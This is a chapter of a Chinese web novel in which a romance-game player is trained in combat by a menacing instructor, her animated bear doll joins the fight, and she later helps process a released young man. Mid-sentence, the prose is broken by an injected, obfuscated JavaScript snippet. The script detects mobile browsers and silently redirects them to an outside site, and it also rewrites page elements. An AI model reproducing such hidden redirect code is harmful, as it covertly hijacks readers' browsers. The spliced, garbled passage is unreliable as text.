关可走神的这一秒,没能够跟上辅助系统的节奏,眼睁睁地看着拳头离自己的脸越来越近越来越近。 辅助系统尽职尽责地调整着接拳的角度,保证把冲击力度降到最低,但是再怎么低也是在脸上啊!这可是个恋爱游戏,谁会顶着一张猪头脸去攻略啊!! 只能说这几天的锻炼还是有效果的,电光火石之间,关可居然做出了自主反应。 她一把抓住了易骥的手臂,使劲往下一压。以战斗系统评估,这当然是个极其糟糕的动作,没有缓冲没有卸力,颈部往下又极其脆弱,这一拳挨实了,说不准就是一个颈骨骨折,直接送命都是有可能。 但好在现在不是真的在战斗。 反应过来不对,易骥险险地收住力道,拳头几乎贴在脖颈之上。 易骥拧着眉看向关可。 在他的判断里,刚才那一下,关可分明能躲开。 那句不快的“怎么回事?”还没有问出口,低头对上关可的脸后,却诡异地沉默了片刻。 关可还没从刚才的剧烈活动中缓过来,雪白的皮肤下泛着一层薄薄的晕红。 动作骤然停下,额上冒出的汗珠终于有了余裕往下流淌,洇湿了颊边的黑发,在洁白的下巴上汇聚成滴,随着喘息的动作摇摇晃晃,最后落在他的拳背上。 微凉的、湿润的感觉在手背上漫开。 易骥顿了下,胸腔里泛起了点点波澜。本来随着动作停滞而平息下的心跳渐渐加快了速度,另一种和汹涌杀意不同、但却同样激烈的情绪在胸腔中蔓延开来,让人几乎分辨不清楚。他展开了握拳的手,指尖碰触到颈项的皮肤,被汗水浸透后,湿淋淋又黏腻的触感透过指腹传来,他手指忍不住蜷了蜷,却并不是做出扼紧脖颈的动作,而是顺着那纤细的颈项摩挲着往上。 黑色的手套吸附着脖颈上的汗液,碰触的触感被无限放大。 关可本来还在尝试着喘匀了气儿再开口说话,这会儿惊恐地双手并用扒拉起了易骥的手。 这哥不是真的想掐死她吧?! 想到次次红名的训练,关可觉得这事不无可能。 但两人往日无怨近日无仇的,又在同一个机构里面,怎么也不至于此啊?她就是一个失误而已!! 扒拉了两下没能扒拉开,关可吓得眼泪都飚出来了,声音变调地,“等等!哥!我认输!!我输了!!” 不知道是认输得快,还是扒拉得即时,易骥的动作总算停了。 虽然没再收紧,但是也没有松开,关可被以一个颇为不适的姿势卡着脖子,被迫仰头和易骥对视,看着那双漆黑的眸子中更深的暗色浮浮沉沉。 关可:“……” 地下、暗室,两个人。 这是什么杀人分尸现场?! 关可胳膊上一阵鸡皮疙瘩、后背汗毛都炸起来了。 攻略对象有点性格很正常,但是到这种程度是不是有点过了啊!! 好在那惊悚的感觉只是片刻,再看时,易骥表情已经恢复正常。 虽然还掐着关可的脖子没松手,但神情语气已经是平时的冷淡,“刚才怎么回事?” 关可终于想起来事情的起因,“这、这个……” 总感觉实话实说,对面可能下一步就是照着脸来了。 易骥稍微提高了声调,语气危险地,“嗯?” 关可:“……” 审讯拷问的既视感太强,她只用了三秒,就扛不住说了—— “能不能别打脸?肿起来很难看没法出去见人了!” 语速飞快几乎没有停顿地说完这句话,关可一脸绝望地闭上了眼,总觉得易骥下一秒的回应就是:好啊,那我就打肿给你看看。 许久没有听到回应,训练场安静的只有两个人的呼吸声。 一个急促地轻喘着,另一个却安静又绵长。 关可小心翼翼地将右眼睁开一条缝隙。 易骥的表情有点奇怪,却并不是关可想的那样冷酷无情。他明显注意到关可的偷瞄,却并没有戳穿,目光接触了一瞬,就顺着面颊往下,那视线存在感强得是刀子,透过表层的肌肤直直切入内部的肌肉的纹理之中。 关可被看得整个人都不好了。 这人真的不是想把她的脸皮给剥下来吗?! 不不、冷静一点! 这种21.禁、明显会给玩家带来永久精神创伤的发展,游戏不会通过的! 想是这么想,但冷静还是冷静不下来,就在关可哆哆嗦嗦地准备求饶的时候,易骥表情微顿了顿,他收回了那过于侵略感的目光,垂眸往自己脚下看了眼。 刚才空气都凝结住的危险感陡然消散,关可人也跟着一松,不自觉地靠着墙壁滑落下去。 易骥立刻改掐为提,拎着关可的领子把她提溜直了。 被迫靠墙站的关可:“……” 谢谢您了,我觉得原地躺下就挺好的。 躺平失败的关可顺着易骥的视线往下看,就见那只小棕熊的玩偶不知道什么时候爬到了易骥的腿上,它越过了靴子的边缘,正“啊呜”一口咬在小腿上。 问题就在这里。 玩家的制作玩偶的时候,并没有考虑战斗用途。里面并没有加装任何尖锐伤害性物品,绝对的儿童友好。 也就是说,这一口的伤害力几乎为零。 易骥和小棕熊无神的黑色豆豆眼对视了片刻,低低地嗤了一声。 表情非常嘲讽。 小棕熊不出意外地狂暴了,打出了一连串伤害力几乎为零的棕熊暴击,然后把自己摔倒在了地上。 关可:“……” 易骥:“……” 易骥明显沉默了几秒,然后抬头看了关可一眼。 关可:不!你听我解释! 跟宠行为!和玩家无关!! 易骥居然弯腰把小棕熊捡起来了。 大概也深感自己刚才行为丢人,小棕熊玩偶开始躺在易骥的手里装死。 易骥:“我记得,它叫‘咖啡’?” 关可:“……是?” 想起了易骥曾经(疑似)帮忙摆放玩偶的事情,关可表情有点怪异。冷酷无情的大魔王和毛茸茸的熊玩偶,这组合居然还挺搭? 却听易骥接着问:“你做的玩偶,可以改装吗?” 关可沉思了片刻,不确定地,“我没有试过。大概可以?” 玩偶师是玩家的默认技能,关可这一堆玩偶也是跟着技能指引做出来的。但全息游戏的好处在于,大多数技能都是有迹可循,很多事情都可以自由发挥,亲手做了这么多玩偶,她本人对于手工也略有心得。 易骥低头看向咖啡,不知道想了什么,隔了会儿开口,“你和它一起上,试一试。” 关可:“唉?” 因为上次说要锻炼异能的缘故,这次训练的一开始,易骥确实让玩偶军团和关可一起上了。但是所谓[战斗辅助系统]完全是关可生命受威胁时的被动触发,并不是一个主动攻击的系统,所有的玩偶都要关可主动指挥站位攻击,对于一个指挥新手来说,结果可想而知的惨烈,一群毛茸茸你绊我我绊你地摔成了一团,互不相让地开始了内部斗争,关可拉都拉不住。 现场混乱又激烈,宛若一场幼儿园级别的自由擂台赛。 旁观的易骥眼角跳了跳,当机立断地取消了这部分特别训练。 这边关可还在犹疑,那边咖啡已经一个支棱跳起来,一副摩拳擦掌准备动手的架势。 关可:“……” 一看就是没挨过毒打的样子。 易骥却兀地笑了,“让它来。” 果然是这样! 易骥从正式训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809296|189409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练关可的时候就发现了,关可的躲避意识很强,致命处的攻击几乎伤不到她,可与之相对的,她几乎没有什么攻击意图,易骥逼了几次都没逼出她的主动攻击,这才提出了让异能参与,但结果……不提也罢。 或许是他想错了。 不应该是由她来操控异能,而是依靠异能本身的自主意志行动。不单单是要训练主人,还要训练异能。 诞生后独立于主人,可以通过训练成长。 这异能分明很适合战斗啊! 并不知道易骥现在在想什么,但是已经敏锐地察觉到了不对劲的关可:“……” 要是她没记错的话,易骥上次这么笑还是上次。 她怜爱地看了眼不知道即将发生什么的的小棕熊:崽啊,麻麻救不了你。 …… 关可确实没能救得了咖啡,因为她之后完全自顾不暇。不知道哪里戳到了易骥兴奋点,接下来的训练中,易骥完全是兴致上头,具体表现就是下手格外狠,因而关可挨的揍也格外的疼。 有一说一,他确实信守承诺,没有打脸。 但是、但是!! 关可忍不住哽咽了一下,她真的是来玩恋爱游戏的啊!!! 关可“汪”地一声抱住了易骥的大腿,“不行,真的不能再打下去了,昨天我和项姐出外勤任务,下午还要处理这件事的后续。哥!易哥!!易哥哥,易教官,真的不能再继续了!!” 这个游戏的攻略对象真的都太狗了!一个莫名其妙降好感,至今还没有找到原因,另一个一言不合就动手,打人还贼疼……关可越想越是悲从中来。再这样下去她对这个游戏的热情就要消失了!不行,她得去找漂亮姐姐抱抱摸摸。 易骥动作顿了顿,低头看向关可,沉默了几秒,开口,“你刚才叫我什么?” 关可飞快回顾刚才的记忆,不是很费力地就发现了自己刚才的口不择言。她恨不得在脑子里梆梆给自己两拳,易骥一看就是不吃这种撒娇的人,这么说话明显只会起反效果啊! 关可一阵思想激烈的反省之后,很快就发现,易骥似乎并不是在纠结那句“易哥哥”。 她探究地抬眼往上方看了会儿,迟疑着:“易教官?” 易骥露出点很奇怪的表情。 他垂着眼看向关可,像是打量又像是评估,隔了一会儿,才非常勉强地开口点评,“你还差得远呢。” 关可:“……” 虽然不知道易骥在说什么,但是她一点都不想“差不远”。 她只是一个平平无奇的恋爱游戏玩家,为什么要遭受这种毁灭性的打击? 这根本不合理! 关可还没来得及出言反驳,易骥已经收回了视线,他看了眼一旁被踢出去几次,依旧挣扎着试图攻击的小棕熊,突然意味不明地笑了一下,“不过勇气可嘉。” 关可整个人都僵硬得石化了。 ……救命!! “我——” 我去鬼屋都害怕,胆子很小的!求求您放我走吧! 易骥视线落过来,半是挑眉、眸带询问。 关可瞬间消音。 易骥又往下瞥了瞥,落在关可紧紧抱着他腿的手上。 关可头皮一紧,立刻松了手。 明明是他自己提醒的,但环抱着的手臂松开,易骥却不知道是不是不满地动了动眉头。 不过表情倒是恢复了以往的冷淡,“不是说有事?” 关可小鸡啄米:“对对对!” 易骥轻描淡写地“嗯”了一声,然后迅速出手,关可都没怎么看清,就见他把咖啡抓到了手里。 “这一只,我先带走几天。” 本来还没反应过来怎么回事的咖啡顿时挣扎起来,一张玩偶脸上,居然具现化了惊恐的表情,看起来是挨过了毒打的样子。 然而后面的易骥只是轻轻哼了声,小棕熊玩偶瞬间老实了。 关可:“……” 对不起啊崽,麻麻现在自顾不暇! * 有了咖啡代为受过,关可得到了短暂的休息时间。 她在训练场上瘫了一会儿,最后在玩偶们的帮助下一瘸一拐地找到了项霜。 项霜上午才刚刚从徐斐然那得知关可的问题,正忍不住反思自己平常和对方的相处,还没想好怎么面对关可呢,就见到关可这模样。 她大惊失色,“怎么了?遇到什么事了?!谁欺负你了?” 关可:噫噫呜呜呜,果然漂亮姐姐才是最棒的! 玩家在心底痛嚎了一阵,但还是坚持了自己的形象,云淡风轻地,“没什么,刚刚在地下训练场。” 项霜瞬间明白过来是怎么回事。 所以说,明明是徐斐然和易骥一起救下的人,为什么被视为救赎的却只有徐斐然一个?! 项霜发现自己对这种结果一点都不意外。 这里面到底是怎么回事,易骥得要好好反思一下! 虽然心里嘀咕了一阵,该办的正事还是得办下去。 昨天那个小黄毛被带到异管局做了异能登记,又进行了一整天的异能者守则的学习,小黄毛年纪不大,脑子不错,考核一次就通过了,今天就要被放出去了。也算是为了有始有终,昨天是项关两人抓的人,今天也是两个人为他办的离开手续。 小黄毛昨天还是一脸中二的“老子不服”,被关了一晚上,眼神都清澈了,看见项关两人,嘴巴特甜地上来叫“姐姐”,然后满脸懊悔地自我反省,张嘴就是上纲上线的大道理,一看检讨就没少写过,“无知!我真的太无知了!!有点小能力就得意洋洋,不知道人在社会中应该遵守规则,作为成年人,我应该为自己的行为负责。姐姐你们放心,经过这一晚上的批评教育,我已经深刻认识到……” 项霜打断他的有感情大声朗诵,“你当时怎么想的。还想当华x市老大?” 被这么一问,小黄毛居然露出点不好意思的羞涩表情,“那就是一个五年的小目标,我的事业版图其实——”看着项关两人表情不对,黄毛很鸡贼地立刻改口,“姐姐,我错了,我已经深刻认识到错误。但这也是有原因的。我刚刚有了特殊能力,正骄傲自满着,赶巧又收到了一封邮件……” 关可听得一愣,她想起了那个被抛到脑后的支线任务。 她刚刚进入游戏,第一次回到玩家的居住点,好像也收到一封邮件。